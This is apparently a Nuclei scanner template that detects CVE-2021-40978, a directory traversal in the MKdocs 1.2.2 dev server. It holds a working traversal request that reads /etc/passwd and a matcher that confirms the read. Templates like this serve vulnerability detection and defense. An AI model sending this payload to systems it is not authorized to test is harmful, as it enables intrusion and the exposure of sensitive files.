id: CVE-2021-40978

info:
  name: MKdocs 1.2.2 - Directory Traversal
  author: pikpikcu
  severity: high
  description: The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability (see references) because the dev server must be used in an unsafe way (namely public) to have this vulnerability exploited.
  reference:
    - https://github.com/mkdocs/mkdocs/pull/2604
    - https://github.com/nisdn/CVE-2021-40978
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40978
    - https://github.com/mkdocs/mkdocs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-40978
    cwe-id: CWE-22
    cpe: cpe:2.3:a:mkdocs:mkdocs:*:*:*:*:*:*:*:*
    epss-score: 0.03438
  tags: cve,cve2021,mkdocs,lfi
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - '{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:[x*]:0:0:"
        part: body

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/04/20